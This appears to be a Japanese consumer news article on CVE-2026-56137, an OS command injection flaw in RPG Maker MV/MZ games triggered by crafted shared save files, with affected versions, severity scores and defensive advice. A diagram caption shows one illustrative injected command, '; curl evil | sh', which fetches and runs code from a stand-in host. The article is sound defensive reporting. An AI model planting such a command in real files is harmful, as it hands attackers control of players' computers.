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RPGツクール製ゲームに脆弱性 CVE-2026-56137、配布セーブデータでパソコンを乗っ取られる恐れ

人気のゲーム制作ソフト『RPGツクールMV/MZ』で作られたゲームに、他人が配ったセーブデータを読み込むとパソコンを乗っ取られる恐れのある脆弱性(CVE-2026-56137)が見つかりました。クリアデータやセーブの共有が盛んなだけに、知らない人のセーブデータは読み込まないでください。修正版はまだ提供されていません。

ニュース2026年6月30日公開 本日更新
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この記事のポイント

人気のゲーム制作ソフト『RPGツクールMV/MZ』で作られたゲームに、他人が配ったセーブデータを読み込むとパソコンを乗っ取られる恐れのある脆弱性(CVE-2026-56137)が見つかりました。クリアデータやセーブの共有が盛んなだけに、知らない人のセーブデータは読み込まないでください。修正版はまだ提供されていません。

日本生まれの定番ゲーム制作ソフト「RPGツクールMV/MZ」で作られたゲームに、深刻な脆弱性が見つかりました。他人が配布したセーブデータを読み込むと、そのセーブに仕込まれた命令がパソコンの裏側で勝手に動き出し、パソコンを乗っ取られる恐れがあるという欠陥です。共通の脆弱性番号は CVE-2026-56137、深刻度は10点満点中 8.4(CVSS v4.0)。日本の脆弱性情報サイト JVN(JVN#69681784)が2026年6月30日に公開しました。発見・報告したのは GMO Flatt Security の井手脩太氏です。

注意したいのは、これは「ネット越しに勝手に感染する」たぐいの欠陥ではない点です。攻撃が成立するには、利用者が細工されたセーブデータファイルを手元のパソコンで読み込む必要があります。とはいえRPGツクール製のゲームは、クリア済みのデータやセーブを改造するツールを配り合う文化が根づいており、「知らない人のセーブデータをうっかり読み込む」場面は決して珍しくありません。だからこそ自分ごととして知っておきたい話です。開発元の株式会社Gotcha Gotcha Gamesは同日、「出所が不明なゲーム・セーブデータ・素材のお取り扱いについて」という注意喚起を出しています。

項目内容
脆弱性番号CVE-2026-56137
対象ソフトRPGツクールMV(v1.6.3以前)
RPGツクールMZ(v1.10.0以前)で作られたゲーム
深刻度(CVSS)8.4(v4.0)/7.8(v3.0)
攻撃の前提細工されたセーブデータの読み込み
(ログイン不要・本人の操作が必要)
いま使える対策知らない人のセーブデータを読み込まない
(修正版は未提供)

※「セーブデータの読み込みで命令が動く」という性質上、危険なのは外部から入手したセーブデータです。自分でプレイして作ったセーブデータには問題ありません。

この脆弱性は誰に、どんな被害をもたらすのか

この穴を悪用するのは、配布用のセーブデータに細工をして、それを他人に読み込ませようとする人です。「このセーブを使えば強い装備が手に入る」「クリア後の隠し要素まで進めてある」といった触れ込みでセーブファイルを配り、欲しがった人にダウンロードさせる、という流れが考えられます。RPGツクール製のゲームでは、攻略の手間を省くためにセーブデータをやり取りすること自体は前からよくあり、その信頼を逆手に取られる形です。

細工されたセーブデータの中身は、見た目はただのゲームの進行状況です。ところがそのデータの中にパソコンへの命令文がこっそり混ぜ込まれており、ゲームがセーブを読み込んだ瞬間に、裏側でその命令が実行されてしまいます。プレイヤーは「セーブを読み込んだだけ」のつもりでも、画面の裏ではまったく別のプログラムが動き出している、という状況です。

被害の中身は深刻です。命令が自由に実行できるということは、実質的にパソコンを乗っ取られたのと同じで、ファイルを盗み出す、別のウイルスを仕込む、データを壊す、といった操作が一通りできてしまいます。狙われるのは主にゲームを遊ぶ側ですが、ゲームを作って配っている側にとっても他人事ではありません。自分の作品が「セーブを読み込んだら危ない」と疑われれば、これまで積み上げてきた信用が一気に崩れるからです。だからこそ、遊ぶ人も作る人も、出所のはっきりしないセーブデータを安易に扱わないことが大事になります。

RPGツクールとは何か、なぜ多くの人に関係するのか

RPGツクール(海外名 RPG Maker)は、プログラミングの知識がなくても自分だけのロールプレイングゲームを作れる、国産の定番ソフトです。今回問題になっている「MV」と「MZ」は、その中でも比較的新しい世代で、作ったゲームをパソコン用としてもスマホ・ブラウザ用としても書き出せるのが特徴です。同人ゲームやフリーゲームの多くがこのシリーズで作られており、ゲーム配信サイトやSteamにも、RPGツクール製の作品が数えきれないほど並んでいます。

つまり「RPGツクールを持っている人」だけの話ではありません。RPGツクールMV/MZで作られたゲームを遊んでいる人すべてが関係する可能性があります。そして、こうしたゲームのファンの間では、難所をクリアした「クリアデータ」を共有したり、専用のセーブエディタ(セーブの中身を書き換える道具)を使ったりする習慣が広く根づいています。便利な文化である一方、今回のように「外から来たセーブデータ」が攻撃の入口になりうるという弱点と、表裏一体でもあります。

セーブデータを読み込むと、なぜ命令が実行されるのか

RPGツクールMV/MZのOSコマンドインジェクション(CVE-2026-56137)の仕組み図。①配布者がセーブファイル(.rpgsave / .rmmzsave)にHP・Lv・所持金など正常な進行データに見せかけつつ、1か所に ; curl evil | sh のようなOSコマンドを赤字で仕込む、②ゲームが読み込むと正常項目はデータとして復元される一方、仕込まれたフィールドが命令として実行されてしまう(本人が読み込む操作が必要なローカル攻撃)、③裏でOSコマンドが実行されPC乗っ取り・ファイル窃取・ウイルス設置・データ破壊に至る流れを示す

今回の欠陥は、専門的には「OSコマンドインジェクション」(CWE-78)と呼ばれる種類のものです。OSコマンドとは、パソコンの基本ソフト(WindowsやmacOS)に対する命令のこと。本来データとして扱うべきものの中に命令を紛れ込ませ、プログラムにそれをうっかり実行させてしまう攻撃を、まとめてこう呼びます。

RPGツクールMV/MZで作ったパソコン向けゲームは、内部的にはWebブラウザに近い仕組みの上で動いています。セーブデータはゲームの進行状況を文字情報として書き出したもので、ゲームを再開するときにそれを読み込んで元の状態に戻します。JVNの説明によると、この読み込み処理が、細工された中身を安全に扱えておらず、本来データであるはずの部分に仕込まれた命令が実行されてしまう、という流れです。攻撃を成立させるには利用者がセーブを読み込む操作をする必要があるため、深刻度の評価でも「ネット越しの遠隔攻撃」ではなく「手元のパソコン上での攻撃(攻撃元はローカル)」と分類されています。NVD(米国の脆弱性データベース)でも同じ番号で登録が進められています。

自分は危ないのか、立場ごとの早見表

「自分に関係あるのか」を、立場別に整理しました。多くの人にとって覚えておくべきことは一つだけ、知らない人のセーブデータを読み込まないことです。

あなたの立場危ない条件いますべきこと
ツクール製ゲームを
遊ぶ人
他人が配ったセーブデータ
(.rpgsave / .rmmzsave)を読み込む
自分で作ったセーブだけ使う。
配布データは読み込まない
ゲームを作って
配っている人
MV v1.6.3以前 /
MZ v1.10.0以前で書き出した
公式情報を確認。修正版が出たら
更新し、ゲームを書き出し直す
ソフトを買っただけで
特に遊んでいない人
該当なし影響なし。
特に対応は不要

※「.rpgsave」はMV、「.rmmzsave」はMZのセーブデータでよく使われる拡張子です。配布物のなかにこうしたファイルが含まれていて、それを読み込ませようとする場合は特に注意してください。

いま何をすべきか

ゲームを遊ぶ人がすべきことは、はっきりしています。自分のプレイで作ったセーブデータだけを使い、他人から渡されたセーブデータは読み込まないことです。配信サイトの掲示板やSNS、ファイル共有で出回っている「便利なセーブ」「クリアデータ」のたぐいは、見た目では安全かどうか判断できません。Gotcha Gotcha Gamesも公式の注意喚起で、ゲーム・セーブデータ・素材はいずれも「信頼できる出所のもののみ」使うよう呼びかけています。

ゲームを作って配っている人は、まず自分がどのバージョンで作品を書き出したかを確認してください。MV v1.6.3以前、MZ v1.10.0以前で書き出したゲームには、この弱点を持つ読み込み処理が含まれます。現時点でこの脆弱性を直す修正版(アップデート)はまだ提供されていません。公式のアップデート情報をこまめに確認し、修正版が出たらソフトを更新したうえでゲームを書き出し直すのが本筋の対応です。それまでの間は、プレイヤーに対して「配布セーブを読み込まないように」と添えておくと親切です。

よくある質問

自分が遊んでいるRPGツクール製ゲームは危険ですか?

ゲームを普通にプレイし、自分で作ったセーブデータを読み書きしているだけなら、それ自体で被害が出るものではありません。危険なのは、他人から渡された・ネットで拾った「外部のセーブデータ」を読み込む場合です。心当たりがある場合は、そのセーブの利用をやめてください。

プレイヤーは具体的に何をすればいいですか?

自分のプレイで作ったセーブデータだけを使ってください。掲示板やSNS、ファイル共有サイトで配られている「クリアデータ」「便利なセーブ」のたぐいは読み込まないのが安全です。ゲーム本体や素材も、信頼できる配布元のものだけを使うようにしてください。

RPGツクールでゲームを作っている人は何をすべきですか?

自分の作品をどのバージョンで書き出したかを確認してください。RPGツクールMV v1.6.3以前、MZ v1.10.0以前が対象です。現時点で修正版は出ていないため、公式のアップデート情報を確認しつつ、修正版が提供され次第ソフトを更新してゲームを書き出し直すのが本来の対応です。当面はプレイヤーに、配布セーブを読み込まないよう注意を促しておくとよいでしょう。

修正版はもう出ていますか?すでに悪用されていますか?

2026年6月30日のJVN公開時点では、この脆弱性を直す修正版(アップデート)の提供は案内されておらず、推奨されているのは「信頼できないセーブデータを読み込まない」という回避策のみです。また本記事の時点で、実際に攻撃へ使われたという公的な報告(米CISAの「実際に悪用された脆弱性リスト」=KEVへの登録など)は確認していません。状況は変わりうるため、公式情報を随時確認してください。

まとめ

CVE-2026-56137は、RPGツクールMV/MZで作られたゲームが、細工されたセーブデータを読み込んだときに、パソコンへの命令を勝手に実行してしまう脆弱性です。ネット越しに自動で広がるものではありませんが、命令の実行はパソコンの乗っ取りに直結します。クリアデータやセーブの共有が当たり前になっているジャンルだけに、「知らない人のセーブを読み込まない」という一点を、遊ぶ人も作る人も意識しておきたいところです。

修正版はまだ提供されていません。RPGツクール公式のアップデート情報お知らせを確認し、対策が出たら早めに反映してください。

更新履歴

  • 2026年6月30日:初版公開(同日のJVN#69681784公開、Gotcha Gotcha Gamesの注意喚起を受けて作成)。

参照元

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堀川 慎

Backend Engineer / AWS / Django / Go